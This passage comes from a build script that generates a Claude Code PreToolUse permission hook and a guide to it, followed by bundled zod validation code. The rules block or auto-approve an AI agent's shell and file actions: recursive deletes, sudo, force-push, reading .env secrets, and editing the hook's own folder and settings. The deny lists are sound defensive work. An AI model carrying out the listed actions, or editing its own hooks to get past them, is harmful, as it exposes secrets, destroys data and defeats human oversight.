<pkg>`).\"\n },\n {\n name: \"claude-settings-write\",\n tools: WRITE_TOOLS,\n action: \"deny\",\n when: (filePath, ctx) => {\n return samePath(resolveIn(ctx.cwd, filePath), path.join(ctx.cwd, \".claude\", \"settings.json\"));\n },\n reason: \"Don't write to .claude/settings.json. This file is managed by the project and should not be modified directly.\"\n },\n {\n name: \"outside-cwd-write\",\n tools: WRITE_TOOLS,\n action: \"deny\",\n when: (filePath, ctx) => {\n const resolved = resolveIn(ctx.cwd, filePath);\n if (isWithin(ctx.cwd, resolved)) return false;\n if (isWithin(path.join(os.homedir(), \".claude\"), resolved)) return false;\n return true;\n },\n reason: \"Don't write files outside the project directory.\"\n }\n];\nconst fileAllowRules = [{\n name: \"cwd-read\",\n tools: READ_TOOLS,\n action: \"allow\",\n when: (filePath, ctx) => isWithin(ctx.cwd, resolveIn(ctx.cwd, filePath))\n}, {\n name: \"cwd-write\",\n tools: WRITE_TOOLS,\n action: \"allow\",\n when: (filePath, ctx) => isWithin(ctx.cwd, resolveIn(ctx.cwd, filePath))\n}];\n\n//#endregion\n//#region src/evaluate-tool.ts\n/** Tools whose input contains a `file_path` field. */\nconst FILE_PATH_TOOLS = /* @__PURE__ */ new Set([\n \"Read\",\n \"Write\",\n \"Edit\"\n]);\n/** Tools whose input contains a `path` field (search root, optional). */\nconst SEARCH_TOOLS = /* @__PURE__ */ new Set([\"Glob\", \"Grep\"]);\n/**\n* Extract the relevant file path from tool input based on tool name.\n* Returns null if the input shape doesn't match expectations.\n*/\nfunction extractPath(toolName, toolInput, cwd) {\n if (FILE_PATH_TOOLS.has(toolName)) return parseFilePathInput(toolInput)?.file_path ?? null;\n if (SEARCH_TOOLS.has(toolName)) return parseSearchInput(toolInput)?.path ?? cwd;\n return null;\n}\n/**\n* Evaluate a non-Bash tool invocation against file-tool rules.\n* Returns allow, deny, or passthrough.\n*/\nfunction evaluateToolUse(toolName, toolInput, ctx) {\n const filePath = extractPath(toolName, toolInput, ctx.cwd);\n if (filePath === null) return {\n action: \"passthrough\",\n rule: null,\n reason: \"unknown tool input shape\"\n };\n for (const rule of fileDenyRules) if (rule.tools.has(toolName) && rule.when(filePath, ctx)) return {\n action: \"deny\",\n rule: rule.name,\n reason: rule.reason ?? null\n };\n for (const rule of fileAllowRules) if (rule.tools.has(toolName) && rule.when(filePath, ctx)) return {\n action: \"allow\",\n rule: rule.name,\n reason: null\n };\n return {\n action: \"passthrough\",\n rule: null,\n reason: \"no file rule matched\"\n };\n}\n\n//#endregion\n//#region src/index.ts\nconst inputResult = await readHookInput();\nif (!inputResult.ok) {\n process.stderr.write(`[bst-hook] invalid hook input: ${inputResult.error}\\n`);\n audit({\n sessionId: \"unknown\",\n cwd: \"unknown\",\n command: `<invalid input: ${inputResult.error}>`,\n decision: \"passthrough\",\n rule: null,\n reason: `validation failed: ${inputResult.error}`\n });\n process.exit(0);\n}\nconst input = inputResult.data;\nif (input.hook_event_name !== \"PreToolUse\") process.exit(0);\nif (!(/* @__PURE__ */ new Set([\n \"Bash\",\n \"Read\",\n \"Write\",\n \"Edit\",\n \"Glob\",\n \"Grep\"\n])).has(input.tool_name)) process.exit(0);\nconst repoSettings = loadRepoSettings(input.cwd);\nlet decision;\nlet auditCommand;\nif (input.tool_name === \"Bash\") {\n const bashInput = parseBashInput(input.tool_input);\n if (!bashInput) {\n audit({\n sessionId: input.session_id,\n cwd: input.cwd,\n toolName: input.tool_name,\n command: `<invalid Bash input: ${JSON.stringify(input.tool_input).slice(0, 200)}>`,\n decision: \"passthrough\",\n rule: null,\n reason: \"Bash tool_input missing or invalid 'command' field\"\n });\n process.exit(0);\n }\n decision = evaluateCommand(bashInput.command, {\n cwd: input.cwd,\n depth: 0,\n repoAllowPatterns: repoSettings.allow,\n repoProtectedBranches: repoSettings.protectedBranches\n });\n auditCommand = bashInput.command;\n} else {\n const projectDir = findWorkspaceRoot(input.cwd) ?? process.env[\"CLAUDE_PROJECT_DIR\"] ?? input.cwd;\n decision = evaluateToolUse(input.tool_name, input.tool_input, { cwd: projectDir });\n const filePath = String(input.tool_input[\"file_path\"] ?? input.tool_input[\"path\"] ?? \"\");\n auditCommand = `${input.tool_name} ${filePath}`;\n}\naudit({\n sessionId: input.session_id,\n cwd: input.cwd,\n toolName: input.tool_name,\n command: auditCommand,\n decision: decision.action,\n rule: decision.rule,\n reason: decision.reason\n});\nif (decision.action === \"allow\") writeDecision(\"allow\");\nelse if (decision.action === \"deny\") writeDecision(\"deny\", decision.reason);\n\n//#endregion\nexport { };", "bst-hook.mjs"), writeIfChanged(ctx, GUIDE_PATH, "# bst-hook Permission Guide\n\nThis project uses a PreToolUse hook (`bst-hook`) that evaluates Bash commands\nand file tool operations before execution. Commands fall into three tiers:\n\n- **Denied** — blocked with a redirect message\n- **Allowed** — auto-approved, no prompt\n- **Passthrough** — falls through to Claude Code's normal permission prompt\n\n## Denied commands\n\nThese are blocked. The hook tells you what to do instead.\n\n### Bash\n\n- **rm-recursive**: Don't use recursive `rm`. Use more targeted deletes, or remove specific files/directories.\n- **sudo**: Don't use sudo. If you need elevated permissions, ask me to do it manually.\n- **git-force-push**: Use `git push --force-with-lease` instead of `--force`.\n- **git-reset-hard**: Don't `reset --hard` on main. Create a branch first.\n- **git-write**: Git write operations (push, commit, reset, merge, etc.) are not allowed. Ask the user to run these manually.\n- **chmod-777**: Don't use 777 permissions. Use more restrictive permissions.\n- **node-modules-write**: Don't write into node_modules/. Its files are hardlinks into pnpm's global store, so overwriting one in place (plain `cp`, `>` redirect, `sed -i`, …) writes through the link and corrupts that package for every project on this machine — silently, since the directory you wrote into ends up fine. To test a local build as an installed dependency, run it directly (`node packages/<pkg>/dist/bin.mjs <cmd>`), or install into a scratch tree with an isolated store (`pnpm add --store-dir <scratch> <pkg>`). If you must replace a file in place, `cp --remove-destination` is safe — it unlinks the target first. Run `pnpm store status` to check whether the store is already damaged.\n- **env-file-read**: Don't read .env files. These contain secrets that should not appear in the conversation.\n- **npx-redirect**: This project uses pnpm. Use `pnpm dlx <pkg>` or `pnpm exec <cmd>` instead of npx.\n\n### File tools (Read, Write, Edit, Glob, Grep)\n\n- **env-file-read**: Don't read .env files. These contain secrets that should not appear in the conversation.\n- **env-file-write**: Don't write to .env files. These contain secrets.\n- **hooks-folder-write**: Don't write to .claude/hooks/. These files are managed by the project and should not be modified directly.\n- **git-dir-write**: Don't write into .git/ directly. Its internals (config, hooks, refs) are not plain project files — a config edit can redirect remotes or push destinations that other rules trust, and a hooks/ script runs automatically on the next commit/push. Use git subcommands instead, or ask the user.\n- **node-modules-write**: Don't write into node_modules/. Its files are hardlinks into pnpm's global store — editing one in place corrupts that package for every project on this machine. Edit the source package and rebuild, or install into a scratch tree with an isolated store (`pnpm add --store-dir <scratch> <pkg>`).\n- **claude-settings-write**: Don't write to .claude/settings.json. This file is managed by the project and should not be modified directly.\n- **outside-cwd-write**: Don't write files outside the project directory.\n\n## Auto-approved commands\n\nThese run without prompting.\n\n### Bash\n\n- **Test runners**: vitest, jest\n- **Type checking**: tsc\n- **Build tools**: tsdown\n- **Tooling CLI**: bst (checks:run, hooks:audit, docker:build, docker:check, repo:sync)\n- **Linters & formatters**: oxlint, oxfmt, eslint, prettier, biome, knip\n- **Read-only commands**: cat, head, tail, grep, ls, wc, uniq, diff, echo, pwd, which, dirname, basename, realpath\n- **Package managers (read-only)**: npm (view, info, show only)\n- **Shell builtins**: test, bracket-test\n- **Navigation**: cd, true, colon\n- **Conditional commands**: find (without -exec, -delete), sort (without -o / --output)\n- **Git read operations**: git (status, log, diff, show, blame, branch, remote, fetch, rev-parse, etc.)\n- **Git safe writes**: git-safe-write (add, switch -c, checkout -b, stash push/pop/apply/show, mv (docs/*.md only), worktree list/add)\n- **Git writes (feature branches)**: git-feature-branch-write (commit, merge, rebase, cherry-pick, revert, reset (only when current branch is not main/master/default; push is never auto-approved))\n- **Git push (feature branches)**: git-safe-push (push with an explicit refspec (e.g. `git push origin feat/x`) from a non-protected branch to a non-protected destination on a configured remote (--force-with-lease ok; --force, --tags, --delete, --mirror, and pushes to main are not). A push with no refspec (bare `git push` / `git push <remote>`) is never auto-approved — its destination comes from push.default/upstream config, which is not resolved here)\n- **pnpm (safe built-ins)**: pnpm (list, why, view, info, show, outdated, install (bare only))\n- **File operations (within project)**: cp (paths must be within project directory), mkdir (paths must be within project directory), touch (paths must be within project directory), mv-docs (mv only between docs/*.md paths (plan-lifecycle moves)), sed-docs (sed only on docs/*.md files (plan-lifecycle edits))\n\n### File tools\n\n- **Read/Glob/Grep**: Allowed within project directory\n- **Write/Edit**: Allowed within project directory\n\n## Passthrough\n\nEverything not listed above triggers Claude Code's normal permission prompt.\nCommon examples:\n\n- `pnpm add <pkg>`, `pnpm dlx <pkg>` (dependency changes)\n- `mv` (file moves outside `docs/*.md`)\n- `node`, `npx` scripts\n- Commands with output redirection (`> file`)\n- Any unrecognized command\n\n## How commands are evaluated\n\n- **Pipelines and chains**: every segment must be allowed; any deny blocks the whole command.\n- **pnpm scripts**: `pnpm <script>` resolves against `package.json` (including pre/post hooks and `--filter` workspaces) and evaluates the resolved command recursively.\n- **cd propagation**: `cd dir && cmd` evaluates `cmd` relative to the new directory.\n- **Audit log**: all decisions are logged to `.claude/hooks/bst-hook.audit.local.jsonl`.\n", "bst-hook-guide.md")];
6029
+ return [writeIfChanged(ctx, HOOK_PATH, "/**\n * bst-hook — Claude Code PreToolUse hook\n * @bensandee/claude-hooks v0.10.1\n * https://github.com/bensandee/tooling\n *\n * Auto-generated by @bensandee/tooling repo:sync — do not edit manually.\n */\nimport * as fs from \"node:fs\";\nimport { existsSync, readFileSync, readdirSync, statSync } from \"node:fs\";\nimport * as path from \"node:path\";\nimport { dirname, join, resolve } from \"node:path\";\nimport { fileURLToPath } from \"node:url\";\nimport { execFileSync } from \"node:child_process\";\nimport * as os from \"node:os\";\n\n//#region ../../node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/core.js\nvar _a$1;\nfunction $constructor(name, initializer, params) {\n function init(inst, def) {\n if (!inst._zod) Object.defineProperty(inst, \"_zod\", {\n value: {\n def,\n constr: _,\n traits: /* @__PURE__ */ new Set()\n },\n enumerable: false\n });\n if (inst._zod.traits.has(name)) return;\n inst._zod.traits.add(name);\n initializer(inst, def);\n const proto = _.prototype;\n const keys = Object.keys(proto);\n for (let i = 0; i < keys.length; i++) {\n const k = keys[i];\n if (!(k in inst)) inst[k] = proto[k].bind(inst);\n }\n }\n const Parent = params?.Parent ?? Object;\n class Definition extends Parent {}\n Object.defineProperty(Definition, \"name\", { value: name });\n function _(def) {\n var _a;\n const inst = params?.Parent ? new Definition() : this;\n init(inst, def);\n (_a = inst._zod).deferred ?? (_a.deferred = []);\n for (const fn of inst._zod.deferred) fn();\n return inst;\n }\n Object.defineProperty(_, \"init\", { value: init });\n Object.defineProperty(_, Symbol.hasInstance, { value: (inst) => {\n if (params?.Parent && inst instanceof params.Parent) return true;\n return inst?._zod?.traits?.has(name);\n } });\n Object.defineProperty(_, \"name\", { value: name });\n return _;\n}\nvar $ZodAsyncError = class extends Error {\n constructor() {\n super(`Encountered Promise during synchronous parse. Use .parseAsync() instead.`);\n }\n};\nvar $ZodEncodeError = class extends Error {\n constructor(name) {\n super(`Encountered unidirectional transform during encode: ${name}`);\n this.name = \"ZodEncodeError\";\n }\n};\n(_a$1 = globalThis).__zod_globalConfig ?? (_a$1.__zod_globalConfig = {});\nconst globalConfig = globalThis.__zod_globalConfig;\nfunction config(newConfig) {\n if (newConfig) Object.assign(globalConfig, newConfig);\n return globalConfig;\n}\n\n//#endregion\n//#region ../../node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/util.js\nfunction getEnumValues(entries) {\n const numericValues = Object.values(entries).filter((v) => typeof v === \"number\");\n return Object.entries(entries).filter(([k, _]) => numericValues.indexOf(+k) === -1).map(([_, v]) => v);\n}\nfunction jsonStringifyReplacer(_, value) {\n if (typeof value === \"bigint\") return value.toString();\n return value;\n}\nfunction cached(getter) {\n return { get value() {\n {\n const value = getter();\n Object.defineProperty(this, \"value\", { value });\n return value;\n }\n throw new Error(\"cached value already set\");\n } };\n}\nfunction nullish(input) {\n return input === null || input === void 0;\n}\nfunction cleanRegex(source) {\n const start = source.startsWith(\"^\") ? 1 : 0;\n const end = source.endsWith(\"$\") ? source.length - 1 : source.length;\n return source.slice(start, end);\n}\nconst EVALUATING = /* @__PURE__*/ Symbol(\"evaluating\");\nfunction defineLazy(object, key, getter) {\n let value = void 0;\n Object.defineProperty(object, key, {\n get() {\n if (value === EVALUATING) return;\n if (value === void 0) {\n value = EVALUATING;\n value = getter();\n }\n return value;\n },\n set(v) {\n Object.defineProperty(object, key, { value: v });\n },\n configurable: true\n });\n}\nfunction assignProp(target, prop, value) {\n Object.defineProperty(target, prop, {\n value,\n writable: true,\n enumerable: true,\n configurable: true\n });\n}\nfunction mergeDefs(...defs) {\n const mergedDescriptors = {};\n for (const def of defs) {\n const descriptors = Object.getOwnPropertyDescriptors(def);\n Object.assign(mergedDescriptors, descriptors);\n }\n return Object.defineProperties({}, mergedDescriptors);\n}\nfunction esc(str) {\n return JSON.stringify(str);\n}\nfunction slugify(input) {\n return input.toLowerCase().trim().replace(/[^\\w\\s-]/g, \"\").replace(/[\\s_-]+/g, \"-\").replace(/^-+|-+$/g, \"\");\n}\nconst captureStackTrace = \"captureStackTrace\" in Error ? Error.captureStackTrace : (..._args) => {};\nfunction isObject(data) {\n return typeof data === \"object\" && data !== null && !Array.isArray(data);\n}\nconst allowsEval = /* @__PURE__*/ cached(() => {\n if (globalConfig.jitless) return false;\n if (typeof navigator !== \"undefined\" && navigator?.userAgent?.includes(\"Cloudflare\")) return false;\n try {\n new Function(\"\");\n return true;\n } catch (_) {\n return false;\n }\n});\nfunction isPlainObject(o) {\n if (isObject(o) === false) return false;\n const ctor = o.constructor;\n if (ctor === void 0) return true;\n if (typeof ctor !== \"function\") return true;\n const prot = ctor.prototype;\n if (isObject(prot) === false) return false;\n if (Object.prototype.hasOwnProperty.call(prot, \"isPrototypeOf\") === false) return false;\n return true;\n}\nfunction shallowClone(o) {\n if (isPlainObject(o)) return { ...o };\n if (Array.isArray(o)) return [...o];\n if (o instanceof Map) return new Map(o);\n if (o instanceof Set) return new Set(o);\n return o;\n}\nconst propertyKeyTypes = /* @__PURE__*/ new Set([\n \"string\",\n \"number\",\n \"symbol\"\n]);\nfunction escapeRegex(str) {\n return str.replace(/[.*+?^${}()|[\\]\\\\]/g, \"\\\\$&\");\n}\nfunction clone(inst, def, params) {\n const cl = new inst._zod.constr(def ?? inst._zod.def);\n if (!def || params?.parent) cl._zod.parent = inst;\n return cl;\n}\nfunction normalizeParams(_params) {\n const params = _params;\n if (!params) return {};\n if (typeof params === \"string\") return { error: () => params };\n if (params?.message !== void 0) {\n if (params?.error !== void 0) throw new Error(\"Cannot specify both `message` and `error` params\");\n params.error = params.message;\n }\n delete params.message;\n if (typeof params.error === \"string\") return {\n ...params,\n error: () => params.error\n };\n return params;\n}\nfunction optionalKeys(shape) {\n return Object.keys(shape).filter((k) => {\n return shape[k]._zod.optin === \"optional\" && shape[k]._zod.optout === \"optional\";\n });\n}\nconst NUMBER_FORMAT_RANGES = {\n safeint: [Number.MIN_SAFE_INTEGER, Number.MAX_SAFE_INTEGER],\n int32: [-2147483648, 2147483647],\n uint32: [0, 4294967295],\n float32: [-34028234663852886e22, 34028234663852886e22],\n float64: [-Number.MAX_VALUE, Number.MAX_VALUE]\n};\nfunction pick(schema, mask) {\n const currDef = schema._zod.def;\n const checks = currDef.checks;\n if (checks && checks.length > 0) throw new Error(\".pick() cannot be used on object schemas containing refinements\");\n return clone(schema, mergeDefs(schema._zod.def, {\n get shape() {\n const newShape = {};\n for (const key in mask) {\n if (!(key in currDef.shape)) throw new Error(`Unrecognized key: \"${key}\"`);\n if (!mask[key]) continue;\n newShape[key] = currDef.shape[key];\n }\n assignProp(this, \"shape\", newShape);\n return newShape;\n },\n checks: []\n }));\n}\nfunction omit(schema, mask) {\n const currDef = schema._zod.def;\n const checks = currDef.checks;\n if (checks && checks.length > 0) throw new Error(\".omit() cannot be used on object schemas containing refinements\");\n return clone(schema, mergeDefs(schema._zod.def, {\n get shape() {\n const newShape = { ...schema._zod.def.shape };\n for (const key in mask) {\n if (!(key in currDef.shape)) throw new Error(`Unrecognized key: \"${key}\"`);\n if (!mask[key]) continue;\n delete newShape[key];\n }\n assignProp(this, \"shape\", newShape);\n return newShape;\n },\n checks: []\n }));\n}\nfunction extend(schema, shape) {\n if (!isPlainObject(shape)) throw new Error(\"Invalid input to extend: expected a plain object\");\n const checks = schema._zod.def.checks;\n if (checks && checks.length > 0) {\n const existingShape = schema._zod.def.shape;\n for (const key in shape) if (Object.getOwnPropertyDescriptor(existingShape, key) !== void 0) throw new Error(\"Cannot overwrite keys on object schemas containing refinements. Use `.safeExtend()` instead.\");\n }\n return clone(schema, mergeDefs(schema._zod.def, { get shape() {\n const _shape = {\n ...schema._zod.def.shape,\n ...shape\n };\n assignProp(this, \"shape\", _shape);\n return _shape;\n } }));\n}\nfunction safeExtend(schema, shape) {\n if (!isPlainObject(shape)) throw new Error(\"Invalid input to safeExtend: expected a plain object\");\n return clone(schema, mergeDefs(schema._zod.def, { get shape() {\n const _shape = {\n ...schema._zod.def.shape,\n ...shape\n };\n assignProp(this, \"shape\", _shape);\n return _shape;\n } }));\n}\nfunction merge(a, b) {\n if (a._zod.def.checks?.length) throw new Error(\".merge() cannot be used on object schemas containing refinements. Use .safeExtend() instead.\");\n return clone(a, mergeDefs(a._zod.def, {\n get shape() {\n const _shape = {\n ...a._zod.def.shape,\n ...b._zod.def.shape\n };\n assignProp(this, \"shape\", _shape);\n return _shape;\n },\n get catchall() {\n return b._zod.def.catchall;\n },\n checks: b._zod.def.checks ?? []\n }));\n}\nfunction partial(Class, schema, mask) {\n const checks = schema._zod.def.checks;\n if (checks && checks.length > 0) throw new Error(\".partial() cannot be used on object schemas containing refinements\");\n return clone(schema, mergeDefs(schema._zod.def, {\n get shape() {\n const oldShape = schema._zod.def.shape;\n const shape = { ...oldShape };\n if (mask) for (const key in mask) {\n if (!(key in oldShape)) throw new Error(`Unrecognized key: \"${key}\"`);\n if (!mask[key]) continue;\n shape[key] = Class ? new Class({\n type: \"optional\",\n innerType: oldShape[key]\n }) : oldShape[key];\n }\n else for (const key in oldShape) shape[key] = Class ? new Class({\n type: \"optional\",\n innerType: oldShape[key]\n }) : oldShape[key];\n assignProp(this, \"shape\", shape);\n return shape;\n },\n checks: []\n }));\n}\nfunction required(Class, schema, mask) {\n return clone(schema, mergeDefs(schema._zod.def, { get shape() {\n const oldShape = schema._zod.def.shape;\n const shape = { ...oldShape };\n if (mask) for (const key in mask) {\n if (!(key in shape)) throw new Error(`Unrecognized key: \"${key}\"`);\n if (!mask[key]) continue;\n shape[key] = new Class({\n type: \"nonoptional\",\n innerType: oldShape[key]\n });\n }\n else for (const key in oldShape) shape[key] = new Class({\n type: \"nonoptional\",\n innerType: oldShape[key]\n });\n assignProp(this, \"shape\", shape);\n return shape;\n } }));\n}\nfunction aborted(x, startIndex = 0) {\n if (x.aborted === true) return true;\n for (let i = startIndex; i < x.issues.length; i++) if (x.issues[i]?.continue !== true) return true;\n return false;\n}\nfunction explicitlyAborted(x, startIndex = 0) {\n if (x.aborted === true) return true;\n for (let i = startIndex; i < x.issues.length; i++) if (x.issues[i]?.continue === false) return true;\n return false;\n}\nfunction prefixIssues(path, issues) {\n return issues.map((iss) => {\n var _a;\n (_a = iss).path ?? (_a.path = []);\n iss.path.unshift(path);\n return iss;\n });\n}\nfunction unwrapMessage(message) {\n return typeof message === \"string\" ? message : message?.message;\n}\nfunction finalizeIssue(iss, ctx, config) {\n const message = iss.message ? iss.message : unwrapMessage(iss.inst?._zod.def?.error?.(iss)) ?? unwrapMessage(ctx?.error?.(iss)) ?? unwrapMessage(config.customError?.(iss)) ?? unwrapMessage(config.localeError?.(iss)) ?? \"Invalid input\";\n const { inst: _inst, continue: _continue, input: _input, ...rest } = iss;\n rest.path ?? (rest.path = []);\n rest.message = message;\n if (ctx?.reportInput) rest.input = _input;\n return rest;\n}\nfunction getLengthableOrigin(input) {\n if (Array.isArray(input)) return \"array\";\n if (typeof input === \"string\") return \"string\";\n return \"unknown\";\n}\nfunction issue(...args) {\n const [iss, input, inst] = args;\n if (typeof iss === \"string\") return {\n message: iss,\n code: \"custom\",\n input,\n inst\n };\n return { ...iss };\n}\n\n//#endregion\n//#region ../../node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/errors.js\nconst initializer$1 = (inst, def) => {\n inst.name = \"$ZodError\";\n Object.defineProperty(inst, \"_zod\", {\n value: inst._zod,\n enumerable: false\n });\n Object.defineProperty(inst, \"issues\", {\n value: def,\n enumerable: false\n });\n inst.message = JSON.stringify(def, jsonStringifyReplacer, 2);\n Object.defineProperty(inst, \"toString\", {\n value: () => inst.message,\n enumerable: false\n });\n};\nconst $ZodError = $constructor(\"$ZodError\", initializer$1);\nconst $ZodRealError = $constructor(\"$ZodError\", initializer$1, { Parent: Error });\nfunction flattenError(error, mapper = (issue) => issue.message) {\n const fieldErrors = {};\n const formErrors = [];\n for (const sub of error.issues) if (sub.path.length > 0) {\n fieldErrors[sub.path[0]] = fieldErrors[sub.path[0]] || [];\n fieldErrors[sub.path[0]].push(mapper(sub));\n } else formErrors.push(mapper(sub));\n return {\n formErrors,\n fieldErrors\n };\n}\nfunction formatError(error, mapper = (issue) => issue.message) {\n const fieldErrors = { _errors: [] };\n const processError = (error, path = []) => {\n for (const issue of error.issues) if (issue.code === \"invalid_union\" && issue.errors.length) issue.errors.map((issues) => processError({ issues }, [...path, ...issue.path]));\n else if (issue.code === \"invalid_key\") processError({ issues: issue.issues }, [...path, ...issue.path]);\n else if (issue.code === \"invalid_element\") processError({ issues: issue.issues }, [...path, ...issue.path]);\n else {\n const fullpath = [...path, ...issue.path];\n if (fullpath.length === 0) fieldErrors._errors.push(mapper(issue));\n else {\n let curr = fieldErrors;\n let i = 0;\n while (i < fullpath.length) {\n const el = fullpath[i];\n if (!(i === fullpath.length - 1)) curr[el] = curr[el] || { _errors: [] };\n else {\n curr[el] = curr[el] || { _errors: [] };\n curr[el]._errors.push(mapper(issue));\n }\n curr = curr[el];\n i++;\n }\n }\n }\n };\n processError(error);\n return fieldErrors;\n}\n\n//#endregion\n//#region ../../node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/parse.js\nconst _parse = (_Err) => (schema, value, _ctx, _params) => {\n const ctx = _ctx ? {\n ..._ctx,\n async: false\n } : { async: false };\n const result = schema._zod.run({\n value,\n issues: []\n }, ctx);\n if (result instanceof Promise) throw new $ZodAsyncError();\n if (result.issues.length) {\n const e = new ((_params?.Err) ?? _Err)(result.issues.map((iss) => finalizeIssue(iss, ctx, config())));\n captureStackTrace(e, _params?.callee);\n throw e;\n }\n return result.value;\n};\nconst _parseAsync = (_Err) => async (schema, value, _ctx, params) => {\n const ctx = _ctx ? {\n ..._ctx,\n async: true\n } : { async: true };\n let result = schema._zod.run({\n value,\n issues: []\n }, ctx);\n if (result instanceof Promise) result = await result;\n if (result.issues.length) {\n const e = new ((params?.Err) ?? _Err)(result.issues.map((iss) => finalizeIssue(iss, ctx, config())));\n captureStackTrace(e, params?.callee);\n throw e;\n }\n return result.value;\n};\nconst _safeParse = (_Err) => (schema, value, _ctx) => {\n const ctx = _ctx ? {\n ..._ctx,\n async: false\n } : { async: false };\n const result = schema._zod.run({\n value,\n issues: []\n }, ctx);\n if (result instanceof Promise) throw new $ZodAsyncError();\n return result.issues.length ? {\n success: false,\n error: new (_Err ?? $ZodError)(result.issues.map((iss) => finalizeIssue(iss, ctx, config())))\n } : {\n success: true,\n data: result.value\n };\n};\nconst safeParse$1 = /* @__PURE__*/ _safeParse($ZodRealError);\nconst _safeParseAsync = (_Err) => async (schema, value, _ctx) => {\n const ctx = _ctx ? {\n ..._ctx,\n async: true\n } : { async: true };\n let result = schema._zod.run({\n value,\n issues: []\n }, ctx);\n if (result instanceof Promise) result = await result;\n return result.issues.length ? {\n success: false,\n error: new _Err(result.issues.map((iss) => finalizeIssue(iss, ctx, config())))\n } : {\n success: true,\n data: result.value\n };\n};\nconst safeParseAsync$1 = /* @__PURE__*/ _safeParseAsync($ZodRealError);\nconst _encode = (_Err) => (schema, value, _ctx) => {\n const ctx = _ctx ? {\n ..._ctx,\n direction: \"backward\"\n } : { direction: \"backward\" };\n return _parse(_Err)(schema, value, ctx);\n};\nconst _decode = (_Err) => (schema, value, _ctx) => {\n return _parse(_Err)(schema, value, _ctx);\n};\nconst _encodeAsync = (_Err) => async (schema, value, _ctx) => {\n const ctx = _ctx ? {\n ..._ctx,\n direction: \"backward\"\n } : { direction: \"backward\" };\n return _parseAsync(_Err)(schema, value, ctx);\n};\nconst _decodeAsync = (_Err) => async (schema, value, _ctx) => {\n return _parseAsync(_Err)(schema, value, _ctx);\n};\nconst _safeEncode = (_Err) => (schema, value, _ctx) => {\n const ctx = _ctx ? {\n ..._ctx,\n direction: \"backward\"\n } : { direction: \"backward\" };\n return _safeParse(_Err)(schema, value, ctx);\n};\nconst _safeDecode = (_Err) => (schema, value, _ctx) => {\n return _safeParse(_Err)(schema, value, _ctx);\n};\nconst _safeEncodeAsync = (_Err) => async (schema, value, _ctx) => {\n const ctx = _ctx ? {\n ..._ctx,\n direction: \"backward\"\n } : { direction: \"backward\" };\n return _safeParseAsync(_Err)(schema, value, ctx);\n};\nconst _safeDecodeAsync = (_Err) => async (schema, value, _ctx) => {\n return _safeParseAsync(_Err)(schema, value, _ctx);\n};\n\n//#endregion\n//#region ../../node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/regexes.js\n/**\n* @deprecated CUID v1 is deprecated by its authors due to information leakage\n* (timestamps embedded in the id). Use {@link cuid2} instead.\n* See https://github.com/paralleldrive/cuid.\n*/\nconst cuid = /^[cC][0-9a-z]{6,}$/;\nconst cuid2 = /^[0-9a-z]+$/;\nconst ulid = /^[0-9A-HJKMNP-TV-Za-hjkmnp-tv-z]{26}$/;\nconst xid = /^[0-9a-vA-V]{20}$/;\nconst ksuid = /^[A-Za-z0-9]{27}$/;\nconst nanoid = /^[a-zA-Z0-9_-]{21}$/;\n/** ISO 8601-1 duration regex. Does not support the 8601-2 extensions like negative durations or fractional/negative components. */\nconst duration$1 = /^P(?:(\\d+W)|(?!.*W)(?=\\d|T\\d)(\\d+Y)?(\\d+M)?(\\d+D)?(T(?=\\d)(\\d+H)?(\\d+M)?(\\d+([.,]\\d+)?S)?)?)$/;\n/** A regex for any UUID-like identifier: 8-4-4-4-12 hex pattern */\nconst guid = /^([0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12})$/;\n/** Returns a regex for validating an RFC 9562/4122 UUID.\n*\n* @param version Optionally specify a version 1-8. If no version is specified, all versions are supported. */\nconst uuid = (version) => {\n if (!version) return /^([0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[1-8][0-9a-fA-F]{3}-[89abAB][0-9a-fA-F]{3}-[0-9a-fA-F]{12}|00000000-0000-0000-0000-000000000000|ffffffff-ffff-ffff-ffff-ffffffffffff)$/;\n return new RegExp(`^([0-9a-fA-F]{8}-[0-9a-fA-F]{4}-${version}[0-9a-fA-F]{3}-[89abAB][0-9a-fA-F]{3}-[0-9a-fA-F]{12})$`);\n};\n/** Practical email validation */\nconst email = /^(?!\\.)(?!.*\\.\\.)([A-Za-z0-9_'+\\-\\.]*)[A-Za-z0-9_+-]@([A-Za-z0-9][A-Za-z0-9\\-]*\\.)+[A-Za-z]{2,}$/;\nconst _emoji$1 = `^(\\\\p{Extended_Pictographic}|\\\\p{Emoji_Component})+$`;\nfunction emoji() {\n return new RegExp(_emoji$1, \"u\");\n}\nconst ipv4 = /^(?:(?:25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])\\.){3}(?:25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])$/;\nconst ipv6 = /^(([0-9a-fA-F]{1,4}:){7}[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,7}:|([0-9a-fA-F]{1,4}:){1,6}:[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,5}(:[0-9a-fA-F]{1,4}){1,2}|([0-9a-fA-F]{1,4}:){1,4}(:[0-9a-fA-F]{1,4}){1,3}|([0-9a-fA-F]{1,4}:){1,3}(:[0-9a-fA-F]{1,4}){1,4}|([0-9a-fA-F]{1,4}:){1,2}(:[0-9a-fA-F]{1,4}){1,5}|[0-9a-fA-F]{1,4}:((:[0-9a-fA-F]{1,4}){1,6})|:((:[0-9a-fA-F]{1,4}){1,7}|:))$/;\nconst cidrv4 = /^((25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])\\.){3}(25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])\\/([0-9]|[1-2][0-9]|3[0-2])$/;\nconst cidrv6 = /^(([0-9a-fA-F]{1,4}:){7}[0-9a-fA-F]{1,4}|::|([0-9a-fA-F]{1,4})?::([0-9a-fA-F]{1,4}:?){0,6})\\/(12[0-8]|1[01][0-9]|[1-9]?[0-9])$/;\nconst base64 = /^$|^(?:[0-9a-zA-Z+/]{4})*(?:(?:[0-9a-zA-Z+/]{2}==)|(?:[0-9a-zA-Z+/]{3}=))?$/;\nconst base64url = /^[A-Za-z0-9_-]*$/;\nconst httpProtocol = /^https?$/;\nconst e164 = 